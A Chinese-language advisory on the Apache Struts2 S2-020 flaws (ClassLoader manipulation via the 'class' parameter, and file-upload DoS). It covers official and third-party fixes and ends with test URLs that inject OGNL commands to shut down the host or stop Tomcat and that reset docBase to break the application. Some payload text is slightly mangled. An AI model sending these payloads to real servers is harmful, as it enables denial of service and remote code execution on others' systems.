官方在S2-020漏洞公告里介绍了两种漏洞(CVE-2014-0050、CVE-2014-0094):一是通过Commons-fileupload造成的拒绝服务攻击;另一个是附加的ParametersInterceptor允许访问'class' 参数(该参数直接映射到getClass()函数),并允许控制ClassLoader。
例如,给当前应用目录赋值地址映射目录是攻击者可控的目录时,攻击者便可轻易地执行预先设置好的代码;另一个危害是给当前应用目录赋值一个不存在的地址(class.classLoader.resources.dirContext.docBase=不存在路径)会导致应用404,这样当前应用,以后不管访问哪个地址都是404了(因为映射的目录不存在),造成DoS效果。
近日安全研究人员发现Apache Struts2 S2-020,在CVE-2014-0094的漏洞修补方案中存在漏洞,漏洞补丁存在被绕过的风险,可能导致执行任意代码。
3.解决方案
官方解决方案:升级struts版本到2.3.16.1。
如果Struts不能升级到2.13.16.1版本,官方建议升级Commons FileUpload到1.3.1版本(避免Dos攻击),然后
在ParametersInterceptor排除'class' 参数(将'^class\.*'添加到excludeParams
列表内)。
第三方解决方案:由于官方给出的解决方案可被绕过,国内知名安全专家给出了临时解决方案。
修改struts源码中的struts-default.xml,替换源代码里所有
的^dojo\..*为(.*\.|^)class\..*,.*'class'.*,(.*\.|^)class\[.*,^dojo\..*。
4.漏洞测试
漏洞描述:
Upgrade Commons FileUpload to version 1.3.1 (avoids DoS attacks) and adds
'class' to exclude params in ParametersInterceptor (avoid ClassLoader manipulation) 。
Struts 2.0.0没有有效过滤"redirect:"/"redirectAction:"参数前缀内容,存在多个开放重定向漏洞,攻击者通过构建特制的URI并诱使用户点击,利用这些漏洞将这些用户重定向到攻击者控制的站点,执行钓鱼攻击。
执行dos攻击一:
http://localhost:8080/Test/save.action?redirectAction:%25{(new+ng.ProcessBuilder(ne w+ng.String[]{'shutdown','-s','-t','2'})).start()}
执行dos攻击二:
http://localhost:8080/Test/save.action?redirectAction:%25{(new+ng.ProcessBuilder(ne w+ng.String[]{'net','stop','tomcat7'})).start()}
Struts2 Tomcat class.classLoader.resources.dirContext.docBase赋值造成的DoS
及远程代码执行利用。
执行class参数调用服务器getClass()攻击三:
http://localhost:8080/Test/save.action?class.classLoader.resources.dirContext.docBase=path。